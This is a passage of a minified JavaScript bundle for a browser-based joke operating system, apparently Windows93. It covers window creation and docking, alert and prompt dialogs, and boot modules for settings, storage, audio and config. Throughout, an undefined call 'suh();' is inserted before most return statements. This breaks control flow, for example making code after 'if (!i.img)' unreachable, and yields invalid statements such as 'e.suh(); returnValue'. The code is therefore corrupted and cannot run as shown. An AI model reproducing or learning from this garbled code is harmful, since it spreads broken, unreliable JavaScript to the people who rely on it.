5534 }))
5535 } else C()
5536 }
5537
5538 function $() {
5539 fe && B.onsubmit && !1 === B.onsubmit.call(A, fe, $form.data(he), he) ? fe = !1 : B.onbeforeclose ? B.onbeforeclose.call(A, function() {
5540 E(), B.onclose && B.onclose.call(A, fe, $form.data(he), he)
5541 }) : (E(), B.onclose && B.onclose.call(A, fe, $form.data(he), he))
5542 }
5543
5544 function N(e) {
5545 !0 === e && (fe = !0), he ? $() : B.onbeforeclose ? B.onbeforeclose.call(A, function() {
5546 E(), B.onclose && B.onclose.call(A, fe)
5547 }) : (E(), B.onclose && B.onclose.call(A, fe))
5548 }
5549
5550 function T() {
5551 y(), setTimeout(function() {
5552 if (y(), he = I.getElementsByTagName("form")[0]) {
5553 var e = he.querySelector("[autofocus]");
5554 e && e.focus(), he.onsubmit = function() {
5555 suh(); return fe = !0, $(), !1
5556 }, A.el.form = he
5557 } else pe ? pe.focus() : R.focus();
5558 B.onready.call(A, I, R)
5559 }, 1)
5560 }
5561
5562 function M(e) {
5563 e.stopPropagation(), e.stopImmediatePropagation(), N()
5564 }
5565
5566 function H(e) {
5567 e && (e.stopPropagation(), e.stopImmediatePropagation()), I.classList.contains("ui_window--maximized") ? (I.classList.remove("ui_window--maximized"), V && (V.classList.remove("ui_window__head__maximized"), V.classList.add("ui_window__head__maximize")), I.classList.add("untransition"), I.removeAttribute("style"), I.setAttribute("style", _e), setTimeout(function() {
5568 I.classList.remove("untransition"), B.onresize(!1)
5569 }, 500)) : (_e = I.getAttribute("style"), I.classList.add("ui_window--maximized"), V && (V.classList.add("ui_window__head__maximized"), V.classList.remove("ui_window__head__maximize")), setTimeout(function() {
5570 B.onresize(!0)
5571 }, 500))
5572 }
5573
5574 function W() {
5575 if (B.dockable) {
5576 var e = I.getBoundingClientRect();
5577 we = {
5578 t: e.top + "px",
5579 l: e.left + "px",
5580 h: I.offsetHeight + "px",
5581 w: I.offsetWidth + "px"
5582 }, ve.style.display = "block", ve.style.top = we.t, ve.style.left = we.l, ve.style.height = we.h, ve.style.width = we.w, ve.style.zIndex = $maxZ("#ui_explorer_0 .ui_icon,.ui_window,.ui_z_indexed").num + 1, I.classList.add("ui_window--minimized");
5583 var t = re.getBoundingClientRect();
5584 ve.style.top = t.top + "px", ve.style.left = t.left + "px", ve.style.height = re.offsetHeight + "px", ve.style.width = re.offsetWidth + "px", setTimeout(function() {
5585 ve.style.display = "none", re.classList.add("ui_window_docked--minimized")
5586 }, 300)
5587 }
5588 }
5589
5590 function O() {
5591 ve.classList.remove("ui_window_transfer"), ve.style.display = "block", ve.style.zIndex = $maxZ("#ui_explorer_0 .ui_icon,.ui_window,.ui_z_indexed").num + 1, ve.classList.add("ui_window_retransfer"), setTimeout(function() {
5592 ve.style.top = we.t, ve.style.left = we.l, ve.style.height = we.h, ve.style.width = we.w
5593 }, 50), setTimeout(function() {
5594 ve.style.display = "none", I.classList.remove("ui_window--minimized"), re.classList.remove("ui_window_docked--minimized")
5595 }, 300)
5596 }
5597 "string" == typeof e && (e = {
5598 title: e,
5599 url: e,
5600 ajax: !1,
5601 width: 400,
5602 height: 300
5603 });
5604 var A, B = $extend({}, l, e),
5605 I = c.cloneNode(!1),
5606 j = r.cloneNode(!1),
5607 P = u.cloneNode(!1),
5608 R = m.cloneNode(!1),
5609 S = f.cloneNode(!1),
5610 Z = d++,
5611 q = B.dest.offsetWidth,
5612 D = B.dest.offsetHeight;
5613 if (B.caller = $io.isWindow(this) ? null : this, B.caller && B.caller.that && B.caller.that.window && $extend(B, B.caller.that.window), e.contextmenu && (B.contextmenu = $extend({}, l.contextmenu, B.contextmenu)), I.id = "ui_window_" + Z, I.setAttribute("data-window-id", Z), B.style)
5614 for (var F in B.style) B.style.hasOwnProperty(F) && (I.style[F] = B.style[F]);
5615 if (B.baseClass) {
5616 var G = B.baseClass.split(" ");
5617 $io.arr.all(G, function(e) {
5618 I.classList.add(e)
5619 })
5620 }
5621 if (B.contextmenuOnBody && R.addEventListener("contextmenu", o, !1), B.header) {
5622 if (B.icon) {
5623 var J = p.cloneNode(!1);
5624 J.src = B.icon, J.addEventListener("click", a, !1), J.addEventListener("dblclick", M, !1), J.addEventListener("contextmenu", a, !1), j.appendChild(J)
5625 }
5626 var K = _.cloneNode(!1);
5627 if (K.textContent = B.title || "", I.setAttribute("aria-labelledby", "ui_window__title_" + Z), K.id = "ui_window__title_" + Z, j.appendChild(K), j.addEventListener("contextmenu", o, !1), B.headerBtn)
5628 for (var Q = B.headerBtn.length - 1; Q >= 0; Q--) ! function(e) {
5629 var t = e.init.call(B);
5630 t && (e.el = document.createElement("button"), e.el.className = (e.className || "ui_window__head__" + e.name) + ("string" == typeof t ? " " + t : ""), e.title && (e.el.title = e.title), e.el.onclick = function(t) {
5631 e.action.call(A, t)
5632 }, j.appendChild(e.el))
5633 }(B.headerBtn[Q]);
5634 if (B.minimizable && B.dock && B.dockable) {
5635 var U = w.cloneNode(!1);
5636 U.onclick = W, j.appendChild(U)
5637 }
5638 if (B.maximizable) {
5639 var V = b.cloneNode(!1);
5640 V.onclick = H, j.appendChild(V)
5641 }
5642 if (B.closable) {
5643 var X = v.cloneNode(!1);
5644 X.onclick = M, j.appendChild(X)
5645 }
5646 I.appendChild(j)
5647 }(B.menu || B.beforeMenu || B.afterMenu) && I.appendChild(P);
5648 var Y;
5649 B.beforeMenu && ("string" == typeof B.beforeMenu ? (Y = document.createElement("div")).innerHTML = B.beforeMenu : Y = B.beforeMenu, P.appendChild(Y));
5650 var ee;
5651 if (B.menu) {
5652 var te = document.createElement("div");
5653 P.appendChild(te), ee = $menu(te, B.menu, {
5654 keyTarget: R,
5655 thisArg: B.menuThisArg || R,
5656 mode: "bar",
5657 position: {
5658 within: B.dest
5659 }
5660 })
5661 }
5662 var ie;
5663 if (B.afterMenu && ("string" == typeof B.afterMenu ? (ie = document.createElement("div")).innerHTML = B.afterMenu : ie = B.afterMenu, P.appendChild(ie)), I.appendChild(R), B.footer) {
5664 var ne;
5665 "string" == typeof B.footer ? (ne = document.createElement("div")).innerHTML = B.footer : ne = B.footer, S.appendChild(ne)
5666 }
5667 if ((B.footer || B.btnOk || B.btnCancel) && I.appendChild(S), I.style.top = (B.top || -4e3) + "px", I.style.left = (B.left || -4e3) + "px", R.style.width = "auto" == B.width ? "auto" : 1 * B.width + B.borderTopWidth + B.borderBottomWidth + "px", R.style.height = "auto" == B.height ? "auto" : 1 * B.height + B.borderLeftWidth + B.borderRightWidth + "px", B.dest.appendChild(I), B.automaximize && I.classList.add("ui_window--maximized"), B.draggable) {
5668 (K || I).classList.add("ui_window--draggable");
5669 var oe = $drag(I, {
5670 constrain: B.constrain,
5671 handle: K || I,
5672 onstart: function() {
5673 t.active(Z), i(this)
5674 },
5675 ondrag: function(e, t, i) {
5676 B.ondrag.call(A, e, t, i)
5677 },
5678 onstop: function() {
5679 n(this), B.ondragstop.call(A, I, R)
5680 }
5681 })
5682 }
5683 if (B.resizable) var ae = $resize(I, {
5684 handles: "all",
5685 start: function(e) {
5686 t.active(Z), i(e)
5687 },
5688 stop: function(e) {
5689 n(e), B.onresize.call(A, I, R)
5690 }
5691 });
5692 if (B.bodyClass) {
5693 var le = B.bodyClass.split(" ");
5694 $io.arr.all(le, function(e) {
5695 R.classList.add(e)
5696 })
5697 }
5698 if ("random" == B.animationIn && (B.animationIn = $io.arr.random($animate.i)), "random" == B.animationOut && (B.animationOut = $io.arr.random($animate.o)), B.animationIn && (I.classList.add("animated"), $animate(I, B.animationIn, function(e) {
5699 I.classList.remove("animated")
5700 })), B.btnCancel || B.btnOk) {
5701 var de = document.createElement("div");
5702 de.className = "ui_window__buttons", S.appendChild(de)
5703 }
5704 var se;
5705 B.btnCancel && ((se = document.createElement("button")).innerHTML = B.btnCancel, se.className = "ui_window__cancel", de.appendChild(se));
5706 var ce;
5707 if (B.btnOk && ((ce = document.createElement("button")).innerHTML = B.btnOk, ce.setAttribute("autofocus", "autofocus"), ce.className = "ui_window__ok", de.appendChild(ce)), B.dock && B.dockable) {
5708 var re = document.createElement("button"),
5709 ue = document.createElement("img"),
5710 me = document.createElement("span");
5711 re.className = "ui_window_docked", re.id = "ui_window_docked_" + Z, ue.className = "ui_window_docked__icon", me.className = "ui_window_docked__text ui_elipsis", B.icon && (ue.src = B.icon, re.appendChild(ue)), B.title && (me.textContent = B.title, re.title = B.title, re.appendChild(me)), B.dock.appendChild(re), re.addEventListener("click", g, !1), re.addEventListener("contextmenu", x, !1)
5712 }
5713 var fe = !1;
5714 B.btnCancel && se.addEventListener("click", z, !1), B.btnOk && ce.addEventListener("click", L, !1), B.activable && I.addEventListener("click", k, !1), B.resizable && K && $el(K).on("dblclick doubletap", H), B.maximizable && !K && $el(R).on("dblclick doubletap", H);
5715 var he, pe;
5716 B.url && !B.ajax ? ((pe = h.cloneNode(!1)).onload = T, pe.onerror = T, pe.onabort = T, pe.src = 0 == B.url.indexOf("www") ? "http://" + B.url : B.url, R.appendChild(pe), R.classList.add("ui_window__body--with_iframe"), B.title || (B.title = B.url)) : B.url && B.ajax ? $ajax.get(B.url).done(function(e) {
5717 var t = document.createElement("div");
5718 t.innerHTML = e, R.appendChild(t), T()
5719 }).fail(function() {
5720 $alert.error("ajax error")
5721 }) : B.ajax ? T() : ("string" == typeof B.html ? R.innerHTML = B.html : 1 !== B.html.nodeType && 11 !== B.html.nodeType || R.appendChild(B.html), T()), A = t.current = s[Z] = {
5722 id: Z,
5723 cfg: B,
5724 el: {
5725 base: I,
5726 body: R,
5727 header: j,
5728 title: K,
5729 footer: S,
5730 iframe: pe,
5731 form: he,
5732 btnCancel: se,
5733 btnOk: ce,
5734 menu: P,
5735 menubar: te,
5736 beforeMenu: Y,
5737 afterMenu: ie
5738 },
5739 close: N,
5740 destroy: C,
5741 maximize: H,
5742 minimize: W,
5743 restore: O,
5744 menu: ee,
5745 changeSize: function(e, t) {
5746 e && (e.height || e.width) && (I.style.height = "auto", I.style.width = "auto", R.classList.remove("ui_window__body--flex"), e.height && (R.style.height = e.height + "px"), e.width && (R.style.width = e.width + "px"), y(), t && t())
5747 },
5748 active: function() {
5749 t.active(this.id)
5750 },
5751 changeTitle: function(e) {
5752 "string" == typeof e && (K && (K.innerHTML = e), me && (me.innerHTML = e, me.title = e))
5753 },
5754 changeIcon: function(e) {
5755 "string" == typeof e && (J && (J.src = e), ue && (ue.src = e))
5756 },
5757 changeFooter: function(e) {
5758 S.firstChild && (S.firstChild.innerHTML = e)
5759 }
5760 }, ee && ee.refresh($extend(B.menuThisArg || {}, {
5761 window: A
5762 })), B.onopen.call(A, I, R), B.activable && t.active(Z);
5763 var _e, we, be = $menu(R, $menu.extend([{
5764 name: "Maximize",
5765 disabled: !B.maximizable,
5766 action: function() {
5767 A.maximize()
5768 }
5769 }, {
5770 name: "Minimize",
5771 disabled: !B.minimizable,
5772 action: function() {
5773 A.minimize()
5774 }
5775 }, {
5776 name: "Move to center",
5777 disabled: !B.draggable,
5778 action: function() {
5779 q = B.dest.offsetWidth, D = B.dest.offsetHeight, I.style.top = ~~((D - I.offsetHeight) / 2) + "px", I.style.left = ~~((q - I.offsetWidth) / 2) + "px"
5780 }
5781 }, {
5782 name: "Refresh",
5783 disabled: !((!B.url || B.ajax) && "function" == typeof B.reload),
5784 action: function() {
5785 "function" == typeof this.cfg.reload ? this.cfg.reload() : this.el.iframe && (this.el.iframe.src = "", this.el.iframe.src = this.cfg.url)
5786 }
5787 }, {
5788 name: "---"
5789 }, {
5790 name: "Close",
5791 disabled: !B.closable,
5792 action: function() {
5793 A.close()
5794 }
5795 }], B.contextmenu), {
5796 trigger: !1,
5797 thisArg: A
5798 }),
5799 ve = document.createElement("div");
5800 suh(); return ve.className = "ui_window_transfer", document.body.appendChild(ve), A
5801}
5802
5803function i(e) {
5804 e.getElementsByTagName("iframe").length && e.getElementsByTagName("section")[0].appendChild(y.cloneNode(!1))
5805}
5806
5807function n(e) {
5808 var t = e.querySelector(".js-mask");
5809 t && t.parentNode && t.parentNode.removeChild(t)
5810}
5811
5812function o() {
5813 $io.arr.all(document.querySelectorAll(".ui_window--active"), function(e) {
5814 e.classList.remove("ui_window--active"), i(e)
5815 }), $io.arr.all(document.querySelectorAll(".ui_window_docked.pressed"), function(e) {
5816 e.classList.remove("pressed")
5817 })
5818}
5819
5820function a(e, t) {
5821 var i = t && 1 == t.nodeType ? t.getAttribute("data-window-id") : t,
5822 n = s[1 * i];
5823 n && n[e]()
5824}
5825var l = {
5826 title: "",
5827 html: "",
5828 help: "",
5829 url: null,
5830 menu: null,
5831 header: !0,
5832 footer: null,
5833 width: 390,
5834 height: 270,
5835 borderTopWidth: 1,
5836 borderBottomWidth: 1,
5837 borderLeftWidth: 1,
5838 borderRightWidth: 1,
5839 baseWidth: null,
5840 baseHeight: null,
5841 minWidth: null,
5842 minHeight: null,
5843 top: null,
5844 left: null,
5845 center: !1,
5846 noOut: !1,
5847 constrain: !1,
5848 ajax: !1,
5849 automaximize: !1,
5850 contextmenuOnBody: !1,
5851 resizable: !0,
5852 minimizable: !0,
5853 maximizable: !0,
5854 closable: !0,
5855 draggable: !0,
5856 dockable: !0,
5857 activable: !0,
5858 headerBtn: [],
5859 onopen: $noop,
5860 onready: $noop,
5861 onclose: $noop,
5862 onok: $noop,
5863 oncancel: $noop,
5864 onminimize: $noop,
5865 ondrag: $noop,
5866 ondragstop: $noop,
5867 onresize: $noop,
5868 onactive: $noop,
5869 ondestroy: $noop,
5870 animationIn: "",
5871 animationOut: "",
5872 baseClass: "",
5873 bodyClass: "",
5874 style: "",
5875 dest: document.body,
5876 dock: null
5877 },
5878 d = 0,
5879 s = [],
5880 c = document.createElement("div"),
5881 r = document.createElement("header"),
5882 u = document.createElement("header"),
5883 m = document.createElement("section"),
5884 f = document.createElement("footer"),
5885 h = document.createElement("iframe"),
5886 p = document.createElement("img"),
5887 _ = document.createElement("span"),
5888 w = document.createElement("button"),
5889 b = document.createElement("button"),
5890 v = document.createElement("button");
5891c.setAttribute("role", "dialog"), c.className = "ui_window ui_window--active", r.className = "ui_window__head", p.className = "ui_window__head__icon", _.className = "ui_window__head__title ui_elipsis", w.className = "ui_window__head__minimize", b.className = "ui_window__head__maximize", v.className = "ui_window__head__close", u.className = "ui_window__menu", m.className = "ui_window__body", f.className = "ui_window__foot", h.className = "ui_window__iframe", h.setAttribute("allowfullscreen", "true");
5892var y = document.createElement("div");
5893y.className = "js-mask", y.setAttribute("style", "background-image:url(/c/sys/img/spacer.gif); position: absolute; z-index: 2; left: 0; top: 0; right: 0; bottom: 0;"), t.config = function(e) {
5894 $extend(l, e)
5895}, t.instances = s, t.active = function(e) {
5896 var i = document.getElementById("ui_window_" + e);
5897 i.style.zIndex = $maxZ("#ui_explorer_0 .ui_icon:not(.ui_is_dragging),.ui_window,.ui_z_indexed").num + 1, o(), i.classList.add("ui_window--active"), n(i);
5898 var a = document.getElementById("ui_window_docked_" + e);
5899 a && a.classList.add("pressed"), t.current = s[e], setTimeout(function() {
5900 s[e] && "function" == typeof s[e].cfg.onactive && s[e].cfg.onactive.call(s[e], s[e].el.base, s[e].el.body)
5901 }, 1)
5902}, t.close = function(e) {
5903 a("close", e)
5904}, t.destroy = function(e) {
5905 a("destroy", e)
5906}, t.maximize = function(e) {
5907 a("maximize", e)
5908}, t.restore = function(e) {
5909 a("restore", e)
5910}, e.$window = t
5911}(this);
5912//js/ui/window.plugins.js
5913! function(e) {
5914"use strict";
5915
5916function n(e, n) {
5917 var i = $extend({
5918 title: "Alert",
5919 baseClass: "ui_alert",
5920 msg: e,
5921 img: "/c/sys/skins/w93/alert.png",
5922 cb: n,
5923 sound: "alert",
5924 onopen: function() {
5925 this.cfg.sound && o.sound(this.cfg.sound);
5926 var e = m || this.el.btnOk;
5927 e && setTimeout(function() {
5928 e.focus()
5929 }, 100)
5930 },
5931 onactive: function() {
5932 var e = m || this.el.btnOk;
5933 e && setTimeout(function() {
5934 e.focus()
5935 }, 100)
5936 },
5937 onclose: function(t) {
5938 (n || e.cb || $noop)(t)
5939 }
5940 }, e),
5941 r = i.baseClass.split(" ")[0];
5942 if ("string" != typeof i.msg) try {
5943 i.msg = JSON.stringify(i.msg, null, 2), i.bodyClass = t.bodyClass + " " + r + "--code"
5944 } catch (e) {
5945 i.msg = i.msg + "", i.bodyClass = t.bodyClass + " " + r + "--code " + r + "--center"
5946 }
5947 var s = document.createElement("div"),
5948 l = document.createElement("div");
5949 document.createDocumentFragment();
5950 if (s.className = "clearfix", i.img) {
5951 var a = new Image;
5952 a.className = r + "__img", a.width = 32, a.height = 32, s.appendChild(a)
5953 }
5954 if (l.innerHTML = i.msg, l.className = r + "__text", s.appendChild(l), "string" == typeof i.prompt) {
5955 var c = document.createElement("form"),
5956 m = document.createElement("textarea");
5957 m.style.width = "100%", m.value = i.prompt, m.name = "prompt", m.onkeydown = function(e) {
5958 if ("number" != typeof(e = e || window.event).which && (e.which = e.keyCode), 13 === e.which && !e.shiftKey) suh(); return $el(c).trigger("submit"), e.preventDefault ? e.preventDefault() : e.suh(); returnValue = !1, e.stopPropagation ? e.stopPropagation() : e.cancelBubble = !0, e.stopImmediatePropagation(), !1
5959 }, c.appendChild(m), l.appendChild(c), l.style.textAlign = "left"
5960 }
5961 i.html = s;
5962 var d = null;
5963 if (!i.img) suh(); return $window($extend({}, t, i));
5964 var u = !1;
5965 d = function() {
5966 u || $window($extend({}, t, i)), u = !0
5967 }, a.onload = d, a.onerror = d, a.onabort = d, a.src = i.img
5968}
5969var t = {
5970 baseClass: "ui_alert",
5971 height: "auto",
5972 minHeight: "auto",
5973 footer: "",
5974 minimizable: !1,
5975 maximizable: !1,
5976 resizable: !1,
5977 center: !0,
5978 pinnable: !1,
5979 btnOk: "OK",
5980 animationIn: "none",
5981 animationOut: "random",
5982 width: 330
5983 },
5984 o = {
5985 sound: $noop
5986 };
5987n.error = $io.fn.leading(function(e, t) {
5988 console.error(e);
5989 var o = $error(e),
5990 i = {
5991 bodyClass: "js_error",
5992 title: o.name || "Error",
5993 msg: o.html
5994 };
5995 n($extend({
5996 title: "Error",
5997 msg: i,
5998 img: "/c/sys/skins/w93/error.png",
5999 cb: t,
6000 sound: "error"
6001 }, i))
6002}, 1e3), n.info = function(e, t) {
6003 n($extend({
6004 title: "Info",
6005 msg: e,
6006 img: t || "/c/sys/skins/w93/info.png",
6007 onopen: $noop,
6008 sound: null
6009 }, e))
6010}, n.progress = function(e, n) {
6011 var o = document.createElement("div"),
6012 i = document.createElement("div");
6013 i.className = "ui_progress__bar", o.className = "skin_inset_deep h20p mt5 relative ui_progress";
6014 var r = document.createElement("div"),
6015 s = document.createElement("div");
6016 r.textContent = e, o.appendChild(i), s.appendChild(r), s.appendChild(o), n = n || "Progress";
6017 var l = $window($extend({}, t, {
6018 title: n,
6019 html: s,
6020 btnOk: null
6021 }, e));
6022 suh(); return {
6023 update: function(e) {
6024 e = ~~e, l.changeTitle(e + "% - " + n), i.style.width = e + "%", e >= 100 && l.close()
6025 }
6026 }
6027}, n.help = function(e, n) {
6028 $window($extend({}, t, {
6029 title: "Help",
6030 html: e,
6031 bodyClass: "ui_alert--help skin_inset_deep skin_light pa10",
6032 sound: null
6033 }, e))
6034}, $window.form = function(e, n, o) {
6035 "string" != typeof e && (o = n, n = e, e = "Form");
6036 var i = $form.build(n);
6037 $window.call(this, $extend({}, t, {
6038 resizable: !0,
6039 title: e,
6040 html: i.el,
6041 btnOk: "OK",
6042 btnCancel: "Cancel",
6043 onsubmit: function(e, n, t) {
6044 console.log("???", n);
6045 var i = $form.validate(t);
6046 if (!i) suh(); return console.log(i), !1;
6047 (o || $noop)(e, n)
6048 }
6049 }))
6050};
6051var i = function(e, t) {
6052 n($extend({
6053 title: "Confirm",
6054 msg: e,
6055 img: "/c/sys/skins/w93/question.png",
6056 onopen: $noop,
6057 sound: null,
6058 cb: t,
6059 btnCancel: "Cancel"
6060 }, e))
6061 },
6062 r = function(e, t, o) {
6063 "function" == typeof t && (o = t, t = ""), n($extend({
6064 title: "Prompt",
6065 msg: e,
6066 img: null,
6067 sound: null,
6068 cb: o,
6069 prompt: t,
6070 onclose: function(n, t) {
6071 var i = t.prompt;
6072 (o || e.cb || $noop)(n, i)
6073 },
6074 btnCancel: "Cancel"
6075 }, e))
6076 };
6077n.config = function(e) {
6078 $extend(o, e)
6079}, e.$alert = n, e.$confirm = i, e.$prompt = r
6080}(this);
6081//os/boot/system42.js
6082var system42 = $kernel;
6083//os/boot/boot.js
6084system42("boot", function(s, t) {
6085"use strict";
6086$loader([s._temp.files, s._temp.mimetypes, s._settings.sounds.boot, s._settings.sounds.alert, s._settings.sounds.error], function(e, o, n, i, r) {
6087 s._files = e, s._get.mime.ext = o, s._sound.boot = n, s._sound.alert = i, s._sound.error = r, t()
6088})
6089});
6090//os/boot/bios.js
6091system42("bios", function(o) {
6092"use strict";
6093$boot.BOOTLOG.innerHTML += "\nWindows93 v" + $boot.VERSION + " booting on...", $boot.BOOTLOG.innerHTML += "\n" + platform.description, $boot.BOOTLOG.innerHTML += "\n"
6094});
6095//os/boot/settings.js
6096system42("settings", function(t) {
6097"use strict";
6098var s = Object.assign({}, t._settings);
6099t._settings = $store("settings.json", t._settings, function(s) {
6100 t._settings = s
6101}, function() {
6102 suh(); return t._settings
6103}), "string" == typeof t._settings ? t._settings = s : t._settings = Object.assign(s, t._settings), t._init.home = function() {
6104 t._path.home = "/a/", t._path.key.home = "", t._path.desktop = "/a/desktop/", t._path.key.desktop = "desktop/", t._path.skin = "/c/sys/skins/" + t._settings.skin + "/"
6105}, t._init.home()
6106});
6107//os/boot/storage.js
6108system42("storage", function(e, t) {
6109"use strict";
6110
6111function n(t, n) {
6112 s[t.name] = {};
6113 var o = $extend({}, t);
6114 o.col > -1 && (s[t.name].x = o.col * e._icons.w, delete o.col), o.row > -1 && (s[t.name].y = o.row * e._icons.h, delete o.row), s[t.name].time = i + n, delete o.name, $store.set(e._path.key.desktop + t.name, o)
6115}
6116
6117function o() {
6118 $file.scan("/a/", function() {
6119 t()
6120 })
6121}
6122var s = {},
6123 i = Date.now();
6124e._init.desktop = function() {
6125 $io.arr.each(e._temp.defaultDesk, n)
6126}, $store.set("system32.dll", "796f 2c20 706c 6561 7365 2064\n6f6e 2774 2064 656c 6574 6520\n6d65"), e._init.desktop(), e._desktop = $store(e._path.key.home + ".config/desktop.json", s, function(t) {
6127 e._desktop = t
6128}, function() {
6129 suh(); return e._desktop
6130}), !1 === e._settings.userData.localInit ? $io.enum([$io.obj.flatten(e._files.a, "/")], function(e, t, n) {
6131 if ("number" == typeof e) {
6132 var o = $fs.utils.isShortcut(t);
6133 $ajax.get("a_/" + t, {
6134 arraybuffer: !o
6135 }).done(function(e) {
6136 o ? ($store.set(t, e), n()) : $io.ArrayBuffer.Blob(e, function(e) {
6137 $db.set(t, e, n)
6138 }, $fs.utils.getMime(t))
6139 }).fail(function(e) {
6140 $boot.onerror(e), n()
6141 })
6142 } else $db.set(t + "/", null, n)
6143}, function() {
6144 o()
6145}) : o()
6146});
6147//os/boot/reset.js
6148system42("reset", function(e, t) {
6149"use strict";
6150$store.clear(), $db.clear(function() {
6151 t()
6152})
6153});
6154//os/boot/audio.js
6155system42("audio", function(n) {
6156"use strict";
6157
6158function o(o, s) {
6159 var i;
6160 suh(); return "string" != typeof o ? new Howl(o) : (n._settings.sounds[o] && (o = n._settings.sounds[o]), t[o] ? i = t[o] : (i = new Howl({
6161 buffer: !!s,
6162 urls: [o]
6163 }), t[o] = i), i)
6164}
6165window.Howl = window.Howl || function() {
6166 this.play = $noop, this.pause = $noop
6167};
6168var t = {};
6169o.config = function(n) {
6170 suh(); return new Howl(n)
6171}, o.stream = function(n) {
6172 suh(); return o(n, !0)
6173}, window.$audio = o
6174});
6175//os/boot/splash.js
6176system42("splash", function(e, s) {
6177"use strict";
6178var i;
6179$explorer(e._path.desktop, e._dom.desktop, {
6180 silent: !0,
6181 backgroundClass: "",
6182 viewType: "workspace"
6183});
6184e.devmode || $el.each(".ui_icon", function(e) {
6185 e.classList.add("hide")
6186}), e.started ? s() : (i = document.createElement("iframe"), e._dom.splash.appendChild(i), i.className = "fillspace", i.style.position = "fixed", i.style.visibility = "hidden", i.onload = function() {
6187 i.style.visibility = "visible", setTimeout(function() {
6188 s()
6189 }, 2500)
6190}, i.src = e._temp.splash)
6191});
6192//os/boot/utils.js
6193system42("utils", function(t) {
6194"use strict";
6195var i = {};
6196$io.obj.each(t._get.mime.ext, function(t, e) {
6197 $io.obj.each(t, function(t, n) {
6198 $io.arr.all(t[0].split(","), function(t) {
6199 i[t] = e + "/" + n
6200 })
6201 })
6202}), t._get.ext.mime = i, $io.obj.each(t._apps, function(i, e) {
6203 if ("string" != typeof i) {
6204 if (i.accept && $extend(i, $fs.utils.parseAccept(i.accept)), i.ext && $io.arr.all(i.ext, function(i) {
6205 t._get.ext.apps[i] ? t._get.ext.apps[i].push(e) : t._get.ext.apps[i] = [e]
6206 }), i.mimetype && t._get.mime.apps.push([i.mimetype, e]), i.icon && (i.icon = $fs.utils.normalizeIcon(i.icon)), i.install && system42.on("storage:ready", function(t) {
6207 i.install = i.install.replace(/^~\//, "/a/" + t._path.key.home), $io.obj.path.call("/", t._files, i.install, {
6208 exe: e,
6209 icon: i.icon
6210 })
6211 }), i.init && system42.on("config:ready", function(t) {
6212 i.init.call({
6213 le: t,
6214 app: i
6215 })
6216 }), i.exec) {
6217 var n = i.exec,
6218 a = $io.fn.arg(n);
6219 i.exec = function() {
6220 var t = i.icon;
6221 this.arg.options && this.arg.options.icon && (t = this.arg.options.icon = $fs.utils.normalizeIcon(this.arg.options.icon || this.arg.launcher.icon)), this.app = i, this.that.window || (this.that.window = {}), this.that.window.icon || (this.that.window.icon = t), this.that.window.title || (this.that.window.title = this.arg.launcher ? this.arg.launcher.title : i.name), this.that.window.title || delete this.that.window.title;
6222 var e = this.arg.arguments.concat([this.arg.options]);
6223 "arguments" === i.inject ? e = this.arg.arguments : $io.arr.each(a, function(t, i) {
6224 "url" === t && "string" != typeof e[i] && (e[i] = ""), "opt" === t && "object" != typeof e[i] && (e[i] = {})
6225 });
6226 var o;
6227 try {
6228 o = n.apply(this, e), o = void 0 === o ? 1 : o
6229 } catch (t) {
6230 $alert.error(t), o = 0
6231 }
6232 suh(); return o
6233 }
6234 }
6235 } else t._apps[e] = {
6236 alias: i,
6237 exec: function() {
6238 for (var t = [], e = 0, n = arguments.length; e < n; e++) "string" == typeof arguments[e] && t.push(arguments[e]);
6239 $exe.silent(i + " " + t.join(" "))
6240 }
6241 }
6242})
6243});
6244//os/boot/config.js
6245system42("config", function(e) {
6246"use strict";
6247var t, n = document.createElement("style");
6248document.head.appendChild(n), t = n.sheet;
6249var i = [];
6250$io.arr.all(document.styleSheets, function(e) {
6251 /sys42/.test(e.href) && $io.arr.all(e.rules || e.cssRules, function(e) {
6252 e.selectorText && /^\.fx_\w+/.test(e.selectorText) && i.push(e.selectorText.replace(".fx_", ""))
6253 })
6254}), $el.each("filter", function(e) {
6255 i.push(e.id.replace("fx_", "")), t.insertRule("." + e.id + ' {-webkit-filter: url("#' + e.id + '");}', 0), t.insertRule("." + e.id + ' {filter: url("#' + e.id + '");}', 0)
6256}), e._fx = i.sort(), $window.config({
6257 dest: e._dom.desktop,
6258 dock: document.getElementById("s42_dock"),
6259 ondestroy: function(t) {
6260 !t && e._selected.length && e._selected[0].focus()
6261 },
6262 animationIn: e.devmode ? "" : "random",
6263 animationOut: e.devmode ? "" : "random",
6264 contextmenu: {
6265 "before:Close": [{
6266 name: "Glitch",
6267 action: function() {
6268 $exe.call({
6269 silent: !0
6270 }, "glitch", this.el.base)
6271 }
6272 }, {
6273 name: "IE6",
6274 action: function() {
6275 $exe.call({
6276 silent: !0
6277 }, "ie6", this.el.base)
6278 }
6279 }, {
6280 name: "---"
6281 }, {
6282 name: "FX",
6283 items: function() {
6284 var t = this,
6285 n = [];
6286 suh(); return $io.arr.all(["none"].concat(e._apps.fx.effects), function(e) {
6287 t.fx || (t.fx = "none"), n.push({
6288 name: e,
6289 radio: "FX_list",
6290 selected: t.fx === e,
6291 action: function(n) {
6292 t.fx = e, t.el.base.className = t.el.base.className.replace(/fx_\w+/, ""), "none" !== e && $exe.call({
6293 silent: !0
6294 }, "fx", e, t.el.base)
6295 }
6296 })
6297 }), n
6298 }
6299 }, {
6300 name: "---"
6301 }]
6302 },
6303 headerBtn: [{
6304 name: "help",
6305 init: function() {
6306 suh(); return !!this.help
6307 },
6308 action: function() {
6309 $alert.info(this.cfg.help)
6310 }
6311 }, {
6312 name: "pin",
6313 title: "pin this window (it will reopen each time you boot windows93)",
6314 init: function() {},
6315 action: function(t) {
6316 var n = t.target;
6317 if (this.cfg.caller.that.pinned) delete e._pins[this.cfg.caller.that.pinned], this.cfg.caller.that.pinned = null, n.classList.remove("pressed");
6318 else {
6319 var i = this.el.body.offsetWidth,
6320 s = this.el.body.offsetHeight,
6321 o = this.el.base.offsetTop,
6322 l = this.el.base.offsetLeft;
6323 e._pins.push([this.cfg.caller.arg.command, {
6324 width: i,
6325 height: s,
6326 top: o,
6327 left: l
6328 }]), $route(""), n.classList.add("pressed")
6329 }
6330 }
6331 }]
6332}), $screenshot.config({
6333 default: e._dom.screen
6334}), $notif.config({
6335 default: e._dom.clock,
6336 dest: e._dom.desktop
6337}), $alert.config({
6338 sound: function(t) {
6339 t && e._sound[t] && e._sound[t].play()
6340 }
6341})
6342});
6343//os/boot/start.js
6344system42("start", function(n) {
6345"use strict";
6346
6347function s(t, e) {
6348 var i = [],
6349 o = [];
6350 for (var c in t)
6351 if (t.hasOwnProperty(c) && "." !== c && ".." !== c)
